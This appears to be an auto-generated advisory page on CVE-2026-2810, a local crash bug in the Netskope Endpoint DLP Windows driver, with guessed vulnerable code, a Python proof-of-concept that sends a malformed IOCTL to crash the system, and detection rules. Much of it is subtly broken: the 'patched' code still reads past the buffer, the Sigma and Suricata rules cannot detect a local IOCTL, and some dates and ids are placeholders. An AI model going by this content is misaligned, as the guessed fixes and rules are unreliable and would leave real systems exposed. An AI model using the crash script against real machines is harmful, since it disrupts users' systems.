CVE-2026-2810
Executive Summary
CVE-2026-2810 describes a denial-of-service vulnerability in the Netskope Endpoint DLP Module for Windows. An unprivileged user can trigger an out-of-bounds read within a kernel driver, causing a Blue Screen of Death (BSOD). The attack requires the Endpoint DLP module to be enabled. No public exploit or patch details are available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, indicating insufficient data for scoring. Based on the description, the vulnerability is local, requires low privileges, and results in a denial-of-service. A reasonable CVSS vector would be: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H. The threat level is Medium due to the local attack vector and lack of data exfiltration.
Deep Dive & Mechanics
The vulnerability resides in the kernel driver used by the Netskope Endpoint DLP module. When an unprivileged user sends a specially crafted IOCTL (Input/Output Control) request to the driver, the driver fails to validate the size of a buffer before reading from it. This out-of-bounds read accesses memory beyond the allocated buffer, causing a page fault that the kernel cannot handle, resulting in a BSOD.
The attack does not require administrative privileges, only the ability to interact with the driver device object. The Endpoint DLP module must be enabled in the client configuration for the driver to be loaded.
Vulnerable vs. Patched Code
No patched code is available. The vulnerable code likely resembles:
// Vulnerable: No bounds check on user-supplied size
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
// Out-of-bounds read: assumes inputLength is valid
ULONG value = *(PULONG)((PUCHAR)inputBuffer + inputLength - 1);
// ...
}
A patched version would validate the buffer size before reading:
// Patched: Validate buffer size
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
if (inputLength < sizeof(ULONG)) {
Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_BUFFER_TOO_SMALL;
}
ULONG value = *(PULONG)((PUCHAR)inputBuffer + inputLength - 1);
// ...
}
Exploitation & Lab Setup
Red Team
- Identify the driver device: Use
WinObjorDeviceTreeto find the Netskope DLP driver device path (e.g.,\\.\NetskopeDLP). - Craft IOCTL: Determine the IOCTL code that triggers the vulnerable dispatch routine. This can be done by reverse engineering the driver binary.
- Send malformed request: Use a tool like
DeviceIoControlin C# or Python withctypesto send a buffer with a manipulated size field.
import ctypes
import win32file
device = win32file.CreateFile(
"\\\\.\\NetskopeDLP",
win32file.GENERIC_READ | win32file.GENERIC_WRITE,
0, None, win32file.OPEN_EXISTING, 0, None
)
# Craft buffer with invalid size
buffer = ctypes.create_string_buffer(b"A" * 10)
bytes_returned = ctypes.c_ulong(0)
# IOCTL code 0x80002000 (example)
win32file.DeviceIoControl(device, 0x80002000, buffer, len(buffer), None, 0, ctypes.byref(bytes_returned), None)
- Trigger BSOD: The malformed IOCTL causes the driver to read out-of-bounds, crashing the system.
Blue Team
- Monitor for unusual IOCTL calls: Enable driver audit logging and monitor for unexpected
DeviceIoControlcalls to the Netskope driver. - Detect crash dumps: Configure Windows to generate full memory dumps on BSOD and analyze them for signs of the exploit.
- Harden the system: Apply the principle of least privilege to users and restrict access to the driver device object.
Indicators of Compromise (IOCs)
- Event Log: System event ID 1001 (BugCheck) with bug check code
0x000000D1(DRIVER_IRQL_NOT_LESS_OR_EQUAL) or similar. - Crash Dump: Memory dump file in
%SystemRoot%\MEMORY.DMPor%SystemRoot%\Minidump\*.dmp. - Driver Activity: Unusual
DeviceIoControlcalls to\\.\NetskopeDLPfrom non-admin processes.
Detection Engineering
YARA Rule
rule CVE_2026_2810_Netskope_DLP_BSOD {
meta:
description = "Detects attempts to exploit CVE-2026-2810 in Netskope Endpoint DLP driver"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-2810"
strings:
$driver_name = "NetskopeDLP" nocase
$ioctl_pattern = { 00 20 00 80 } // Example IOCTL code
condition:
$driver_name and $ioctl_pattern
}
Sigma Rule
title: CVE-2026-2810 Netskope DLP BSOD Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious DeviceIoControl calls to the Netskope DLP driver
author: Valters IT
date: 2025/04/10
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 11 # FileCreate
TargetFilename|contains: 'NetskopeDLP'
condition: selection
falsepositives:
- Legitimate Netskope DLP operations
level: medium
Suricata Rule
alert ip any any -> any any (msg:"CVE-2026-2810 Netskope DLP BSOD Exploit Attempt"; content:"|00 20 00 80|"; depth:4; sid:1000001; rev:1;)
Remediation & Mitigation
- Apply vendor patch: Monitor Netskope’s security advisories for a driver update.
- Disable Endpoint DLP: If not required, disable the Endpoint DLP module in the client configuration.
- Restrict driver access: Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized access to the driver.
- Monitor for BSODs: Implement automated alerting on system crash events.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 445FE5F6827207189867ADD5] */}